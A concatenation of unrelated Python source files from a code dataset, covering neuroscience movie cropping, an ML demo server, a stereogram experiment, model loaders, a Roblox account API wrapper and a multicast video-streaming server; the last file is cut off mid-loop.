datetime.datetime.today().strftime(\"%m-%d-%Y\"),\n 'time': datetime.datetime.today().strftime(\"%H:%M:%S\"),\n }\n }\n } \n\n # Spatial copping \n logging.info(f'{index} Loading movie')\n m = cm.load(input_tif_file_path)\n logging.info(f'{index} Loaded movie')\n [x_,_x,y_,_y] = parameters['cropping_points_spatial']\n if parameters['crop_spatial']:\n logging.info(f'{index} Performing spatial cropping')\n m = m[:,x_:_x,y_:_y]\n logging.info(f'{index} Spatial cropping finished')\n else:\n logging.info(f'{index} No spatial cropping')\n\n # Temporal cropping\n if parameters['crop_temporal']:\n m, timeline = do_temporal_cropping(m, parameters['cropping_points_temporal'])\n # The option below is to get a timeline which indicates on which \n # frames clips are cut out and how long those clips were.\n # I eventually decided this is not neccesary. The temporal cropping points are enough\n # to reconstruct this and are more easily saved (namely in the \n # master file list under 'cropping_parameters')\n \n# timeline_pkl_file_path = f'data/interim/cropping/meta/timeline/{file_name}.pkl'\n# output['meta']['timeline'] = timeline_pkl_file_path\n# with open(timeline_pkl_file_path,'wb') as f:\n# pickle.dump(timeline, f) \n \n # Save the movie\n m.save(output_tif_file_path)\n \n if eval(os.environ['LOCAL']):\n logging.info(f'{index} Uploading file to server')\n ssh = src.pipeline.get_SSH_connection()\n sftp = ssh.open_sftp()\n sftp.put(os.environ['PROJECT_DIR_LOCAL'] + output_tif_file_path, os.environ['PROJECT_DIR_SERVER'] + output_tif_file_path)\n \n# if parameters['crop_temporal']:\n# sftp.put(os.environ['PROJECT_DIR_LOCAL'] + timeline_pkl_file_path, os.environ['PROJECT_DIR_SERVER'] + timeline_pkl_file_path)\n sftp.close()\n ssh.close()\n logging.info(f'{index} Uploading finished')\n \n # Remove the original movie\n os.remove(output_tif_file_path)\n \n # Write necessary variables to the trial index and row\n row.loc['cropping_parameters'] = str(parameters)\n row.loc['cropping_output'] = str(output)\n \n return index, row\n\n#%% AUXILLARY\n \ndef get_timeline(cropping_points_temporal_list):\n ''' This function imports a temporal cropping points list (defining the clips that were cut out)\n and returns a list of where clips were cut-out and how long the clips were.''' \n \n # Make a timeline with the points where a clip was cropped and the length of that clip. \n timeline = []\n for i, cropping_points_temporal in enumerate(cropping_points_temporal_list):\n if i == 0:\n missing_point_after_frame = cropping_points_temporal[0] - 1\n else:\n missing_point_after_frame = timeline[i-1][0] + cropping_points_temporal[0] - cropping_points_temporal_list[i-1][1] \n number_of_missing_frames = cropping_points_temporal[1] - cropping_points_temporal[0] \n timeline.append([missing_point_after_frame, number_of_missing_frames])\n \n return timeline\n\ndef do_temporal_cropping(m, cropping_points_temporal_list):\n # Check the validity of the temporal cropping points\n for i, cropping_points_temporal in enumerate(cropping_points_temporal_list):\n if i >= 1:\n if cropping_points_temporal_list[i-1][1] > cropping_points_temporal[0]:\n logging.error('Invalid temporal cropping points')\n return m, None\n if cropping_points_temporal[0] > cropping_points_temporal[1]:\n logging.error('Invalid temporal cropping points')\n return m, None\n # The temporal cropping points are valid.\n \n # Crop the specified clips out.\n for i, cropping_points_temporal in enumerate(cropping_points_temporal_list):\n if i == 0:\n translated_t_1, translated_t_2 = cropping_points_temporal[0],cropping_points_temporal[1]\n else:\n translation = 0\n for j in range(0, i):\n translation += cropping_points_temporal_list[j][1] - cropping_points_temporal_list[j][0] \n translated_t_1, translated_t_2 = cropping_points_temporal[0] - translation,cropping_points_temporal[1] - translation \n print(translated_t_1, translated_t_2)\n m = np.delete(m, np.arange(translated_t_1, translated_t_2))\n \n # Make a timeline with the points where a clip was cropped and the length of that clip and save it.\n timeline = get_timeline(cropping_points_temporal_list) \n return m, timeline\n\n\n\n#%% FIGURES\n \ndef get_fig_cropping_points(index, im, cropping_points, save_fig = False, cmap = 'gray'):\n fig_title = 'screenshot cropping points'\n fig_name = 'screenshot_cropping_points'\n analysis_state_name = src.pipeline.create_file_name(step_index, index)\n [x_,_x,y_,_y] = cropping_points\n \n # Create the figure \n fig, ax = plt.subplots(1)\n plt.imshow(im, cmap = cmap)\n plt.colorbar()\n plt.title(f\"{fig_title} \\n step: {step} \\n data: {index} \\n parameters: 'cropping points_spatial' : {[x_,_x,y_,_y]}\", pad = 20)\n X, Y = im.shape\n rect = Rectangle((y_, x_),_y - y_, _x - x_, fill = False, color = 'r', linestyle = '--')\n ax.add_patch(rect)\n \n if save_fig:\n # If specified, save the figure\n plt.imsave(f'data/interim/{step}/meta/figures/{fig_name}/{analysis_state_name}.png')\n return fig\n\n\n#%% METRICS\n \n\ndef compute_metrics(selected_rows):\n '''\n Metrics for cropping.\n \n Metrics\n Total movie\n min\n mean\n max\n Frame wise\n min\n mean \n max\n '''\n \n for index, row in selected_rows.iterrows():\n logging.info(index)\n output = eval(row.loc['cropping_output'])\n m = cm.load(output['main'])\n min_array, mean_array, max_array = [], [], []\n for m_ in m:\n min_array.append(m_.min())\n mean_array.append(m_.mean())\n max_array.append(m_.max())\n total_min = m.min()\n total_mean = m.mean()\n total_max = m.max()\n \n file_name = src.pipeline.create_file_name(1, index)\n metrics_file_path = f'data/interim/cropping/meta/metrics/{file_name}.pkl'\n with open(metrics_file_path, 'rb') as f:\n try: \n metrics = pickle.load(f)\n except:\n metrics = {}\n metrics['min_array'] = min_array\n metrics['mean_array'] = mean_array\n metrics['max_array'] = max_array\n metrics['total_min'] = total_min\n metrics['total_mean'] = total_mean\n metrics['total_max'] = total_max\n \n pickle.dump(metrics,f)\n \n return\n\n \n ","sub_path":"src/steps/cropping.py","file_name":"cropping.py","file_ext":"py","file_size_in_byte":8332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"520539668","text":"# -*- coding: UTF-8 -*-\n# @Time : 18-4-27\n# @File : demo.py\n# @Author : jian\nfrom __future__ import division\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\nfrom antgo.ant.base import *\nfrom antgo.dataflow.dataset.queue_dataset import *\nfrom antgo.dataflow.recorder import *\nfrom antgo.crowdsource.demo_server import *\nfrom antgo.utils import logger\nimport socket\nimport zmq\n\n\ndef _is_open(check_ip, port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n s.connect((check_ip, int(port)))\n s.shutdown(2)\n return True\n except:\n return False\n\n\ndef _pick_idle_port(from_port=40000, check_count=100):\n check_port = from_port\n while check_count:\n if not _is_open('127.0.0.1', check_port):\n break\n\n logger.warn('port %d is occupied, try to use %d port'%(int(check_port), int(check_port + 1)))\n\n check_port += 1\n check_count -= 1\n\n if check_count == 0:\n check_port = None\n\n if check_port is None:\n logger.warn('couldnt find valid free port')\n exit(-1)\n\n return check_port\n\n\nclass AntDemo(AntBase):\n def __init__(self, ant_context,\n ant_name,\n ant_dump_dir,\n ant_token,\n ant_task_config,\n **kwargs):\n super(AntDemo, self).__init__(ant_name, ant_context, ant_token, **kwargs)\n\n self.ant_dump_dir = ant_dump_dir\n self.ant_context.ant = self\n self.ant_task_config = ant_task_config\n\n self.html_template = kwargs.get('html_template', None)\n self.demo_port = kwargs.get('port', None)\n self.demo_port = int(self.demo_port) if self.demo_port is not None else None\n self.support_user_upload = kwargs.get('support_user_upload', False)\n self.support_user_input = kwargs.get('support_user_input', False)\n self.support_user_interaction = kwargs.get('support_user_interaction', False)\n self.support_user_constraint = kwargs.get('support_user_constraint', None)\n\n self.context.devices = [int(d) for d in kwargs.get('devices', '').split(',') if d != '']\n\n def start(self):\n # 0.step loading demo task\n running_ant_task = None\n if self.token is not None:\n # 0.step load challenge task\n challenge_task_config = self.rpc(\"TASK-CHALLENGE\")\n if challenge_task_config is None:\n # invalid token\n logger.error('couldnt load challenge task')\n self.token = None\n elif challenge_task_config['status'] == 'SUSPEND':\n # prohibit submit challenge task frequently\n # submit only one in one week\n logger.error('prohibit submit challenge task frequently')\n exit(-1)\n elif challenge_task_config['status'] == 'OK':\n # maybe user token or task token\n if 'task' in challenge_task_config:\n challenge_task = create_task_from_json(challenge_task_config)\n if challenge_task is None:\n logger.error('couldnt load challenge task')\n exit(-1)\n running_ant_task = challenge_task\n else:\n # unknow error\n logger.error('unknow error')\n exit(-1)\n\n if running_ant_task is None:\n # 0.step load custom task\n custom_task = create_task_from_xml(self.ant_task_config, self.context)\n if custom_task is None:\n logger.error('couldnt load custom task')\n exit(0)\n running_ant_task = custom_task\n\n assert (running_ant_task is not None)\n\n # 1.step prepare datasource and infer recorder\n now_time_stamp = datetime.fromtimestamp(self.time_stamp).strftime('%Y%m%d.%H%M%S.%f')\n\n demo_dataset = QueueDataset()\n demo_dataset._force_inputs_dirty()\n self.context.recorder = QueueRecorderNode(((), None), demo_dataset)\n self.context.recorder.dump_dir = os.path.join(self.ant_dump_dir, now_time_stamp, 'recorder')\n if not os.path.exists(self.context.recorder.dump_dir):\n os.makedirs(self.context.recorder.dump_dir)\n\n # 2.step prepare dump dir\n infer_dump_dir = os.path.join(self.ant_dump_dir, now_time_stamp, 'inference')\n if not os.path.exists(infer_dump_dir):\n os.makedirs(infer_dump_dir)\n else:\n shutil.rmtree(infer_dump_dir)\n os.makedirs(infer_dump_dir)\n\n # 3.step start http server until it has been launched\n # 3.1.step check whether demo port has been occupied\n if self.demo_port is None:\n self.demo_port = 10000\n self.demo_port = _pick_idle_port(self.demo_port)\n logger.info('demo prepare using port %d'%self.demo_port)\n\n demo_name = running_ant_task.task_name\n demo_type = running_ant_task.task_type\n process = multiprocessing.Process(target=demo_server_start,\n args=(demo_name,\n demo_type,\n self.description_config,\n self.support_user_upload,\n self.support_user_input,\n self.support_user_interaction,\n self.support_user_constraint,\n infer_dump_dir,\n self.html_template,\n self.demo_port,\n os.getpid()))\n process.daemon = True\n process.start()\n\n # 4.step listening queue, wait client requery data\n logger.info('start model infer background process')\n ablation_blocks = getattr(self.ant_context.params, 'ablation', [])\n for b in ablation_blocks:\n self.ant_context.deactivate_block(b)\n\n try:\n self.context.call_infer_process(demo_dataset, dump_dir=infer_dump_dir)\n except:\n traceback.print_exc()\n raise sys.exc_info()[0]\n","sub_path":"antgo/ant/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":5779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"636633654","text":"import time\r\nimport random\r\n\r\nimport numpy as np\r\n\r\nfrom riglib import reward\r\nfrom riglib.experiment import LogExperiment, TrialTypes, traits\r\n\r\ntry:\r\n import pygame\r\n from riglib.experiment import Pygame\r\nexcept:\r\n import warnings\r\n warnings.warn(\"rds.py: Pygame not imported\")\r\n Pygame = object\r\n\r\ndef checkerboard(size=(500,500), n=6):\r\n square = np.ones(np.array(size) / n)\r\n line = np.hstack([np.hstack([square, 0*square])]*(n/2))\r\n return np.vstack([line,line[:,::-1]]*(n/2)).astype(bool)\r\n\r\ndef squaremask(size=(500,500), square=200):\r\n data = np.zeros(size, dtype=bool)\r\n top, bottom = size[0]/2-square/2, size[0]/2+square/2\r\n left, right = size[1]/2-square/2, size[1]/2+square/2\r\n data[top:bottom, left:right] = True\r\n return data\r\n\r\ndef generate(mask, offset=10):\r\n data = (np.random.random(mask.shape) > 0.5).astype(int)\r\n left, right = data.copy(), data.copy()\r\n leftmask = np.roll(mask, offset, axis=1)\r\n rightmask = np.roll(mask, -offset, axis=1)\r\n left[mask] = data[leftmask] \r\n right[mask] = data[rightmask]\r\n left[np.logical_and(np.roll(mask, -offset*2, axis=1), mask)] *= 2\r\n right[np.logical_and(np.roll(mask, offset*2, axis=1), mask)] *= 2\r\n return left, right, data\r\n\r\nclass Dots(TrialTypes, Pygame):\r\n trial_types = [\"flat\", \"depth\"]\r\n saturation = traits.Float(1.)\r\n\r\n def init(self):\r\n super(Dots, self).init()\r\n \r\n self.width, self.height = self.surf.get_size()\r\n mask = squaremask()\r\n mid = self.height / 2 - mask.shape[0] / 2\r\n lc = self.width / 4 - mask.shape[1] / 2\r\n rc = 3*self.width / 4 - mask.shape[1] / 2\r\n\r\n self.mask = mask\r\n self.coords = (lc, mid), (rc, mid)\r\n \r\n def _start_depth(self):\r\n c = 255*(1-self.saturation)\r\n left, right, flat = generate(self.mask)\r\n sleft = pygame.surfarray.make_surface(left.T)\r\n sright = pygame.surfarray.make_surface(right.T)\r\n sleft.set_palette([(0,0,0,255), (c,c,255,255), (c,255,c,255)])\r\n sright.set_palette([(0,0,0,255), (c,c,255,255), (c,255,c,255)])\r\n self.sleft, self.sright = sleft, sright\r\n\r\n def _start_flat(self):\r\n left, right, flat = generate(self.mask)\r\n sflat = pygame.surfarray.make_surface(flat.T)\r\n sflat.set_palette([(0,0,0,255), (255,255,255,255)])\r\n self.sflat = sflat\r\n \r\n def _while_depth(self):\r\n self.surf.blit(self.sleft, self.coords[0])\r\n self.surf.blit(self.sright, self.coords[1])\r\n self.flip_wait()\r\n \r\n def _while_flat(self):\r\n self.surf.blit(self.sflat, self.coords[0])\r\n self.surf.blit(self.sflat, self.coords[1])\r\n self.flip_wait()\r\n \r\n def _test_flat_correct(self, ts):\r\n return self.event in [1, 2]\r\n \r\n def _test_flat_incorrect(self, ts):\r\n return self.event in [4, 8]\r\n \r\n def _test_depth_correct(self, ts):\r\n return self.event in [4, 8]\r\n \r\n def _test_depth_incorrect(self, ts):\r\n return self.event in [1, 2]\r\n","sub_path":"tasks/dots.py","file_name":"dots.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"443683318","text":"import os\nfrom Fuzzy_clustering.version3.RBF_CNN_Manager.RBF_ols_object import rbf_ols_module\nfrom Fuzzy_clustering.version3.RBF_CNN_Manager.Model_3d_object import model3d_object\n\nclass RBF_CNN_model(object):\n def __init__(self, static_data, cluster, cnn=False):\n self.static_data = static_data\n self.cluster_dir = cluster.cluster_dir\n self.cnn = cnn\n self.model_dir_rbfols = os.path.join(self.cluster_dir, 'RBF_OLS')\n self.model_rbf_ols = rbf_ols_module(self.model_dir_rbfols, self.static_data['rated'], self.static_data['sklearn']['njobs'],\n GA=False)\n self.model_rbf_ga = rbf_ols_module(self.model_dir_rbfols, self.static_data['rated'], self.static_data['sklearn']['njobs'],\n GA=True)\n self.model_rbfnn = model3d_object(self.static_data, cluster, 'RBFNN')\n\n if self.model_rbfnn.istrained==False:\n raise ImportError('Cannot found RBFNN model for cluster %s of project %s', cluster.cluster_name, static_data['_id'])\n if self.model_rbf_ols.istrained==False:\n raise ImportError('Cannot found RBF_OLS model for cluster %s of project %s', cluster.cluster_name, static_data['_id'])\n if self.model_rbf_ga.istrained==False:\n raise ImportError('Cannot found RBF_GA_OLS model for cluster %s of project %s', cluster.cluster_name, static_data['_id'])\n\n if cnn:\n self.model_cnn = model3d_object(self.static_data, cluster, 'RBF-CNN')\n if self.model_cnn.istrained == False:\n raise ImportError('Cannot found RBF_CNN model for cluster %s of project %s', cluster.cluster_name,\n static_data['_id'])","sub_path":"Fuzzy_clustering/version3/RBF_CNN_Manager/RBF_CNN_model.py","file_name":"RBF_CNN_model.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"568576073","text":"import configparser\nimport sys \n\nclass GlobalConfiguration:\n def loadConfig(self):\n try:\n configFile = open('app/config/config.cfg','+r')\n except IOError:\n print(\"Warning: It seems that the config.cfg doesn't exists\", file=sys.stderr)\n\n def __init__(self):\n self.loadConfig()\n","sub_path":"CajonesAPI/app/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"344148865","text":"import requests,json,random,webbrowser\nfrom time import time\nfrom robloxpy import Utils as Utils\nfrom typing import Union\n\nRawCookie = None\nUserID = None\nUsername = None\nRobux = None\nThumbnail = None\nisBuildersclub = None\nisPremium = None\ncanChangeUsername = None\nisAdmin = None\nisEmailOnFile = None\nisEmailVerified = None\nisPhoneFeatureEnabled = None\nisSuperSafePrivacyMode = None\nIsAppChatSettingEnabled = None\nIsGameChatSettingEnabled = None\nIsContentRatingsSettingEnabled = None\nIsParentalControlsTabEnabled = None\nIsSetPasswordNotificationEnabled = None\nChangePasswordRequiresTwoStepVerification = None\nChangeEmailRequiresTwoStepVerification = None\nUserEmail = None\nUserEmailMasked = None\nUserEmailVerified = None\nCanHideInventory = None\nCanTrade = None\nMissingParentEmail = None\nIsUpdateEmailSectionShown = None\nIsUnder13UpdateEmailMessageSectionShown = None\nIsUserConnectedToFacebook = None\nIsTwoStepToggleEnabled = None\nAgeBracket = None\nUserAbove13 = None\nClientIpAddress = None\nUserAge = None\nIsBcRenewalMembership = None\nIsAccountPinEnabled = None\nIsAccountRestrictionsFeatureEnabled = None\nIsAccountRestrictionsSettingEnabled = None\nIsAccountSettingsSocialNetworksV2Enabled = None\nInApp = None\nHasFreeNameChange = None\nIsAgeDownEnabled = None\nReceiveNewsletter = None\n\n\ndef SetCookie(Cookie: str,Details: bool = True) -> str:\n \"\"\"\n Set the current cookie for internal commands, if you wish to only perform an action set 'Details' to 'False' to prevent un-needed requests being made.\n \"\"\"\n try:\n global RawCookie\n global CurrentCookie\n RawCookie = Cookie\n session = requests.session()\n CurrentCookie = {'.ROBLOSECURITY': Cookie}\n requests.utils.add_dict_to_cookiejar(session.cookies, CurrentCookie)\n Header = session.post('https://catalog.roblox.com/')\n session.headers['X-CSRF-TOKEN'] = Header.headers['X-CSRF-TOKEN']\n session.headers[\"Origin\"] = \"https://www.roblox.com\"\n session.headers[\"Referer\"] = \"https://www.roblox.com/\"\n CurrentCookie = session\n if(Utils.CheckCookie(CurrentCookie) == \"Invalid\"):\n return \"Invalid Cookie\"\n if(Details == True):\n GetDetails()\n else:\n GetDetails(False)\n return \"Cookie Set\"\n except:\n return \"Error Setting Cookie\"\n\ndef GetDetails(Details: bool = True) -> str:\n \"\"\"\n Internal function to get the details of the current cookie, can be used if you have statements to determine if you want the details or not\n \"\"\"\n global Gamesession\n global UserID\n global Username\n global Robux\n global Thumbnail\n global isBuildersclub\n global isPremium\n global canChangeUsername\n global isAdmin\n global isEmailOnFile\n global isEmailVerified\n global isPhoneFeatureEnabled\n global isSuperSafePrivacyMode\n global IsAppChatSettingEnabled\n global IsGameChatSettingEnabled\n global IsContentRatingsSettingEnabled\n global IsParentalControlsTabEnabled\n global IsSetPasswordNotificationEnabled\n global ChangePasswordRequiresTwoStepVerification\n global ChangeEmailRequiresTwoStepVerification\n global UserEmail\n global UserEmailMasked\n global UserEmailVerified\n global CanHideInventory\n global CanTrade\n global MissingParentEmail\n global IsUpdateEmailSectionShown\n global IsUnder13UpdateEmailMessageSectionShown\n global IsUserConnectedToFacebook\n global IsTwoStepToggleEnabled\n global AgeBracket\n global UserAbove13\n global ClientIpAddress #Shows the IP address roblox sees\n global UserAge\n global IsBcRenewalMembership\n global IsAccountPinEnabled\n global IsAccountRestrictionsFeatureEnabled\n global IsAccountRestrictionsSettingEnabled\n global IsAccountSettingsSocialNetworksV2Enabled\n global InApp\n global HasFreeNameChange\n global IsAgeDownEnabled\n global ReceiveNewsletter\n if(Details == True):\n try:\n SettingsContainer = CurrentCookie.get(Utils.SettingsURL)\n SettingsContainer = SettingsContainer.json()\n\n BasicContainer = CurrentCookie.get(Utils.MobileAPI + 'userinfo')\n BasicContainer = BasicContainer.json()\n\n UserID = BasicContainer['UserID']\n Username = BasicContainer['UserName']\n Robux = BasicContainer['RobuxBalance']\n Thumbnail = BasicContainer['ThumbnailUrl']\n isBuildersclub = BasicContainer['IsAnyBuildersClubMember']\n isPremium = BasicContainer['IsPremium']\n canChangeUsername = SettingsContainer['ChangeUsernameEnabled']\n isAdmin = SettingsContainer['IsAdmin']\n isEmailOnFile = SettingsContainer['IsEmailOnFile']\n isEmailVerified = SettingsContainer['IsEmailVerified']\n isPhoneFeatureEnabled = SettingsContainer['IsPhoneFeatureEnabled']\n isSuperSafePrivacyMode = SettingsContainer['UseSuperSafePrivacyMode']\n IsAppChatSettingEnabled = SettingsContainer['IsAppChatSettingEnabled']\n isGameChatSettingEnabled = SettingsContainer['IsGameChatSettingEnabled']\n isContentRatingsSettingEnabled = SettingsContainer['IsContentRatingsSettingEnabled']\n isParentalControlsTabEnabled = SettingsContainer['IsParentalControlsTabEnabled']\n isSetPasswordNotificationEnabled = SettingsContainer['IsSetPasswordNotificationEnabled']\n ChangePasswordRequiresTwoStepVerification = SettingsContainer['ChangePasswordRequiresTwoStepVerification']\n ChangeEmailRequiresTwoStepVerification = SettingsContainer['ChangeEmailRequiresTwoStepVerification']\n UserEmail = SettingsContainer['UserEmail']\n UserEmailMasked = SettingsContainer['UserEmailMasked']\n UserEmailVerified = SettingsContainer['UserEmailVerified']\n CanHideInventory = SettingsContainer['CanHideInventory']\n CanTrade = SettingsContainer['CanTrade']\n MissingParentEmail = SettingsContainer['MissingParentEmail']\n isUnder13UpdateEmailMessageSectionShown = SettingsContainer['IsUnder13UpdateEmailMessageSectionShown']\n isUserConnectedToFacebook = SettingsContainer['IsUserConnectedToFacebook']\n isUpdateEmailSectionShown = SettingsContainer['IsUpdateEmailSectionShown']\n isTwoStepToggleEnabled = SettingsContainer['IsTwoStepToggleEnabled']\n AgeBracket = SettingsContainer['AgeBracket']\n UserAbove13 = SettingsContainer['UserAbove13']\n ClientIpAddress = SettingsContainer['ClientIpAddress']\n UserAge = SettingsContainer['AccountAgeInDays']\n isBcRenewalMembership = SettingsContainer['IsBcRenewalMembership']\n isAccountPinEnabled = SettingsContainer['IsAccountPinEnabled']\n isAccountRestrictionsFeatureEnabled = SettingsContainer['IsAccountRestrictionsFeatureEnabled']\n isAccountRestrictionsSettingEnabled = SettingsContainer['IsAccountRestrictionsSettingEnabled']\n isAccountSettingsSocialNetworksV2Enabled = SettingsContainer['IsAccountSettingsSocialNetworksV2Enabled']\n InApp = SettingsContainer['InApp']\n HasFreeNameChange = SettingsContainer['HasFreeNameChange']\n isAgeDownEnabled = SettingsContainer['IsAgeDownEnabled']\n ReceiveNewsletter = SettingsContainer['ReceiveNewsletter']\n\n Gamesession = requests.session()\n Gamesession.cookies[\".ROBLOSECURITY\"] = RawCookie\n\n Gamesession = Gamesession.post(\n url = Utils.GameAuthUrl,\n headers = {\n \"Referer\": \"https://www.roblox.com/\",\n \"X-CSRF-Token\": Gamesession.post(\n url = Utils.GameAuthUrl\n ).headers[\"X-CSRF-Token\"],\n }\n ).headers[\"RBX-Authentication-Ticket\"]\n\n return \"Data Gathered\"\n except Exception as e:\n return f\"Error {e}\"\n else:\n UserID = None\n Username = None\n Robux = None\n Thumbnail = None\n isBuildersclub = None\n isPremium = None\n canChangeUsername = None\n isAdmin = None\n isEmailOnFile = None\n isEmailVerified = None\n isPhoneFeatureEnabled = None\n isSuperSafePrivacyMode = None\n IsAppChatSettingEnabled = None\n IsGameChatSettingEnabled = None\n IsContentRatingsSettingEnabled = None\n IsParentalControlsTabEnabled = None\n IsSetPasswordNotificationEnabled = None\n ChangePasswordRequiresTwoStepVerification = None\n ChangeEmailRequiresTwoStepVerification = None\n UserEmail = None\n UserEmailMasked = None\n UserEmailVerified = None\n CanHideInventory = None\n CanTrade = None\n MissingParentEmail = None\n IsUpdateEmailSectionShown = None\n IsUnder13UpdateEmailMessageSectionShown = None\n IsUserConnectedToFacebook = None\n IsTwoStepToggleEnabled = None\n AgeBracket = None\n UserAbove13 = None\n ClientIpAddress #Shows the IP address roblox sees = None\n UserAge = None\n IsBcRenewalMembership = None\n IsAccountPinEnabled = None\n IsAccountRestrictionsFeatureEnabled = None\n IsAccountRestrictionsSettingEnabled = None\n IsAccountSettingsSocialNetworksV2Enabled = None\n InApp = None\n HasFreeNameChange = None\n IsAgeDownEnabled = None\n ReceiveNewsletter = None\n return \"Data Not Wanted\"\n\ndef isFollowing(targetUserID: int) -> Union[bool, str]:\n \"\"\"\n Checks if the current account is following a user\n \"\"\"\n try:\n response = CurrentCookie.get(f\"{Utils.APIURL}user/following-exists?UserID={str(targetUserID)}&followerUserID={UserID}\", data={'targetUserID': targetUserID})\n return response.json()['isFollowing']\n except Exception as e:\n return e\n\ndef FollowUser(targetUserID: int) -> Union[bool, str]:\n \"\"\"\n Follows a user\n \"\"\"\n try:\n response = CurrentCookie.post(f\"{Utils.FriendsAPI}{str(targetUserID)}/follow\", data={'targetUserID': targetUserID})\n try:\n return response.json()['success']\n except:\n return response.json()['errors']\n except Exception as e:\n return e\n\ndef UnfollowUser(targetUserID: int) -> Union[dict, str]:\n \"\"\"\n unfollows a user\n \"\"\"\n try:\n response = CurrentCookie.post(f\"{Utils.FriendsAPI}{str(targetUserID)}/unfollow\", data={'targetUserID': targetUserID})\n try:\n return response.json()['success']\n except:\n return response.json()['errors']\n except Exception as e:\n return response.json()\n\ndef BlockUser(targetUserID: int) -> Union[bool, str]:\n \"\"\"\n Blocks a user\n \"\"\"\n try:\n response = CurrentCookie.post(f\"{Utils.APIURL}userblock/block?userId={str(targetUserID)}\", data={'targetUserID': targetUserID})\n try:\n return response.json()['success']\n except:\n return response.json()['errors']\n except Exception as e:\n return response.json()\n\ndef GetBlockedUsers() -> Union[tuple, dict]:\n \"\"\"\n Returns users which are blocked\n\n [UserID],[UserName]\n \"\"\"\n try:\n response = CurrentCookie.get(f\"{Utils.SettingsURL}\")\n Data = response.json()['BlockedUsersModel']['BlockedUsers']\n BlockedIDs = []\n BlockedNames = []\n\n for User in Data:\n BlockedIDs.append(User['uid'])\n BlockedNames.append(User['Name'])\n return BlockedIDs, BlockedNames\n except:\n return response.json()\n\ndef UnblockUser(targetUserID: int) -> Union[bool, dict]:\n \"\"\"\n unblocks a user\n \"\"\"\n try:\n #response = CurrentCookie.post(f\"{Utils.APIURL}userblock/unblock?userId={str(targetUserID)}\", data={'targetUserID': targetUserID})\n response = CurrentCookie.post(f\"https://accountsettings.roblox.com/v1/users/{targetUserID}/unblock\", data={'targetUserID': targetUserID})\n try:\n return response.json()['success']\n except:\n return response.json()['errors']\n except Exception as e:\n return response.json()\n\ndef SendMessage(targetUserID: int, Subject: str, Body: str) -> Union[str, dict]:\n response = None\n try:\n response = CurrentCookie.post(Utils.PrivateMessageAPIV1 + 'messages/send/', data={\n 'userId': UserID,\n 'subject': Subject,\n 'body': Body,\n 'recipientid': targetUserID,\n })\n return response.json()['message']\n except Exception as e:\n return response.json()\n\ndef JoinGame(PlaceId: int):\n BrowserID = random.randint(10000000000, 99999999999)\n webbrowser.open(f\"roblox-player:1+launchmode:play+gameinfo:{Gamesession}+launchtime:{int(time()*1000)}+placelauncherurl:https%3A%2F%2Fassetgame.roblox.com%2Fgame%2FPlaceLauncher.ashx%3Frequest%3DRequestGame%26browserTrackerId%3D{BrowserID}%26placeId%3D{PlaceId}%26isPlayTogetherGame%3Dfalse+browsertrackerid:{BrowserID}+robloxLocale:en_us+gameLocale:en_us\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"robloxpy/User/Internal.py","file_name":"Internal.py","file_ext":"py","file_size_in_byte":13154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"41877111","text":"import socket\nimport struct\nimport threading\nimport time\nimport cv2\n\nIP_HOST = '127.0.0.1'\nPUERTO = 65432\nCANT_MAX_BYTES = 512\nULTIMO_PUERTO = 65525\nPRIMER_PUERTO = 49152\n\nultima_ipmulticast = '224.3.0.0'\nultimo_puertomulticast = 49152\nRUTA_VIDEO = 'C:\\\\Users\\\\JulianDavid\\\\Desktop\\\\Andes\\\\Semestre_VII\\\\Infraestructura de comunicaciones (redes)\\\\Laboratorios\\\\Laboratorio 3.2\\\\Caso3.2\\\\py\\\\streaming'\nformato_nombre_archivo = 'video${}.mp4'\nnombre_archivo_actual = 0\n\n\ndef nuevo_grupo_mc():\n global ultima_ipmulticast, ultimo_puertomulticast\n if ultimo_puertomulticast < ULTIMO_PUERTO:\n ultimo_puertomulticast += 1\n return (ultima_ipmulticast, ultimo_puertomulticast)\n numeros = [int(i) for i in ultima_ipmulticast.split('.')]\n if numeros [-1] < 255:\n numeros [-1] +=1\n elif numeros[-2] < 255:\n numeros[-2]+= 1\n numeros [-1] = 0\n elif numeros [-3] < 4:\n numeros[-3] += 1\n numeros[-2]= 0\n numeros[-1]= 0\n else:\n raise Exception ('Se excedieron las IPs')\n ultima_ipmulticast, ultimo_puertomulticast = ('.'.join([str(i) for i in numeros]), PRIMER_PUERTO)\n print(\"Multicast: IP \" + str(ultima_ipmulticast) + \" PUERTO: \" + str(ultimo_puertomulticast))\n return (ultima_ipmulticast, ultimo_puertomulticast)\n\ndef iniciar_conexion(path, multicast_group):\n soc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n ttl = struct.pack('b',1)\n soc.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl)\n stream(soc, multicast_group, path)\n \ndef stream (sock, multicast_group, filename):\n while True:\n video = cv2.VideoCapture(filename)\n while video.isOpened():\n success, image = video.read()\n if not success:\n break\n ret, jpeg = cv2.imencode('.jpg', image)\n if not ret:\n break\n sock.sendto(jpeg.tobytes(), multicast_group)\n time.sleep(0.05)\n\n\ndef ejecucion (conn, addr):\n global formato_nombre_archivo, nombre_archivo_actual\n data = conn.recv(CANT_MAX_BYTES)\n path = RUTA_VIDEO+formato_nombre_archivo.replace('${}', str(nombre_archivo_actual))\n print(str(path))\n nombre_archivo_actual += 1\n a = open(path, 'wb')\n while data:\n a.write(data)\n data = conn.recv(CANT_MAX_BYTES)\n conn.close()\n iniciar_conexion(path, nuevo_grupo_mc())\n\ntcp_soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntcp_soc.bind((IP_HOST, PUERTO))\ntcp_soc.listen()\nwhile True:\n 